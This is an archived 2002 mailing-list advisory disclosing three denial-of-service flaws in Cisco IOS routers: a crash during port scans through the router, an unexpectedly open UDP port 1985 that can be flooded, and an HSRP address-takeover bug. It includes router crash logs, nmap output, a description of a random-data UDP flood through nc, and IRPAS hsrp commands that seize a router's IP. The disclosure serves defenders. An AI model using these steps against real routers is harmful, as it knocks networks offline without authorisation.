('binary' encoding is not supported, stored as-is) There are three possible unreported DoS conditions in certain versions of IOS I could get my hands on. 1. When scanning all 65535 ports from a single host using nmap (full connect/half connect/null/fin/ack/xmas) through a Cisco 2611 running C2600-IO3-M, Version 12.1(6.5)the router crashes. Same applies to scanning a class C network for a single open port. This was discovered while auditing a corporate network. Enableing or disableing: CBAC, IDS, IP Accounting and applied extended ACL's with logging, does not effect the results ie. the problem persists. Here comes the log : OS (tm) C2600 Software (C2600-IO3-M), Version 12.1(6.5), MAINTENANCE INTERIM SOFTWARE Copyright (c) 1986-2001 by cisco Systems, Inc. Compiled Mon 29-Jan-01 19:20 by kellythw hippo#ping cisco.com Type escape sequence to abort. Sending 5, 100-byte ICMP Echos to 198.133.219.25, timeout is 2 seconds: !!!!! Success rate is 100 percent (5/5), round-trip min/avg/max = 168/170/173 ms < < < < < scan starts > > > > > -Process= "IP Input", ipl= 0, pid= 24 > -Traceback= 802CFCE4 802D19DC 807915D8 80791E04 80792598 8078B37C 803645E8 80363694 80363874 803639D0 802F0864 000010: 00:27:00: %SYS-2-MALLOCFAIL: Memory allocation of 5004 bytes failed from 0x802CCB60, pool Processor, alignment 0 -Process= "IP Input", ipl= 0, pid= 24 -Traceback= 802CFCE4 802D2230 802CCB64 802CD350 80791488 807915F4 80791E04 80792598 8078B37C 803645E8 80363694 80363874 803639D0 802F0864 000011: 00:27:30: %SYS-2-MALLOCFAIL: Memory allocation of 5004 bytes failed from 0x802CCB60, pool Processor, alignment 0 -Process= "IP Input", ipl= 0, pid= 24 -Traceback= 802CFCE4 802D2230 802CCB64 802CD350 80791488 807915F4 80791E04 80792598 8078B37C 803645E8 80363694 80363874 803639D0 802F0864 000012: 00:28:00: %SYS-2-MALLOCFAIL: Memory allocation of 5004 bytes failed from 0x802CCB60, pool Processor, alignment 0 -Process= "IP Input", ipl= 0, pid= 24 -Traceback= 802CFCE4 802D2230 802CCB64 802CD350 80791488 807915F4 80791E04 80792598 8078B37C 803645E8 80363694 80363874 803639D0 802F0864 hippo#sh stacks 24 Process 24: IP Input Stack segment 0x80DB0DB4 - 0x80DB3C94 FP: 0x80DB3C68, RA: 0x802DE6D8 FP: 0x80DB3C88, RA: 0x80363998 FP: 0x0, RA: 0x802F0864 hippo#sh run hippo# (no response) root@boar:~# ping cisco.com ping: unknown host cisco.com The router does not respond. Connection is lost. CPU utilisation reaches 90 - 100 %. This bug is different from Cisco Bug ID CSCds07326i, here the scan is going through the router and is not directed at it. 2. In certain versions of IOS UDP port 1985 is open when HSRP is not running. For example: nmap -sU -vvv -O -p1985 192.168.1.254 Starting nmap V. 2.54BETA34 ( www.insecure.org/nmap/ ) Host (192.168.1.254) appears to be up ... good. Initiating UDP Scan against (192.168.1.254) The UDP Scan took 0 seconds to scan 1 ports. Adding open port 1985/udp Warning: OS detection will be MUCH less reliable because we did not find at least 1 open and 1 closed TCP port. Interesting ports on (192.168.1.254): Port State Service 1985/udp open unknown Remote OS guesses: Cisco IOS 11.1(7)-11.2(8.10), Cisco 4500-M running IOS 11.3(6) IP Plus, Cisco IOS 11.3 - 12.0(11), Cisco 1600/3640/7513 Router (IOS 11.2(14)P), Cisco IOS v11.14(CA)/12.0.2aT1/v12.0.3T However, a) tcpdump did not show any hsrp packets on the network b) attempts to communicate with the router via HSRP using IRPAS (http://www.phenoelit.de/irpas/), successful when HSRP is running, failed to illicit any response. Flooding 1985 with randomly sized UDP packets (cat /dev/urandom pipe via nc as UDP etc.,) leads to CPU utilisation above 90% and eventually the router crashes. Besides the presence of this open port, where it should be shut, assists in remote OS fingerprinting. I have checked this with a number of system administrators I know; here are the stats for udp port 1985 on their routers I've collected: Open 1985: 12.1(8a)E5 Catalyst 6k R700, 11.2(23) C2500-I-L, 12.2(2)XI (c827), 12.1(9) (C2500-I-L), 11.1(16) (c1000), 12.0(4)XM (c805), 12.2(2)T1 (C2600-IK8O3S); Closed 1985: 12.0(3)T (C2500-I-L), 12.0(9) (c1600), 11.3(8)T1 (c2600), 12.0(3)T (c1720), 12.2(3) (c1720), 12.0(16) (C2500-I-L), 12.0(5)XQ (C1700-NY-M); In general, 12.0.x does not appear to have this potential problem. Out of the routers checked, 50 % had udp 1985 open. All routers with 1985 open were succeptible to DoS via 1985 UDP flood. None had HSRP enabled and running. 3. While using IRPAS to test the "bug" above I have found the following. The 12.1.x IOS implementation of HSRP fails to check the IP address of the phantom router against the IP address of the interface on which HSRP is running when the IP is advertised from the remote host using IRPAS. This results in a conflict over the IP address for the interface, bypassing normal sanity checks. An obvious DoS condition is created, since the phantom router can be remotely given an IP address of a local interface through which packets enter the Active router, thus leading to a loop. Example : ./hsrp -d 192.168.1.253 -v 192.168.1.254 -a cisco -g 1 -i eth0 where 192.168.1.253 - IP of a phantom router, 192.168.1.254 - IP of an active router interface on which the standby 1 ip 192.168.1.253 command is configured. 000059: 00:10:34: %STANDBY-6-STATECHANGE: Standby: 1: Ethernet0/1 state Active -> Speak 000060: 00:10:34: %STANDBY-3-DIFFVIP1: Ethernet0/1 Group 1 active routers virtual IP address 192.168.1.254 is different to the locally configured address 192.168.1.253 May 6 18:28:26 192.168.1.254 324: 000317: 2d17h: %STANDBY-3-DUPADDR: Duplicate address 192.168.1.254 on Ethernet0/1, sourced by 0050.043a.ff60 Nevretheless, the router goes into standby and 192.168.1.254 is taken as a phantom's IP. Interestingly, ./hsrp -d 192.168.1.253 -v 192.168.1.254 -a cisco -g 1 -i eth0 -S 192.168.1.254 does not appear to have any effect and the packets are dropped. Setting a good password while enabling HSRP (something that should be done anyway !) provides a temporary solution for this problem. Unfortunately, I have seen networks running HSRP with default password "cisco". Vendor status: PSIRT was informed on 07.05.02 Asknowledgements to: the Arhont team, Phenoelit team/Fyodor for tools, the rest of the open source community. Andrew A. Vladimirov aka _clf3_ Arhont LTD www.arhont.com Security Manager CCNP / CCDP
This archive was generated by hypermail 2b30 : Wed Jun 05 2002 - 13:31:28 PDT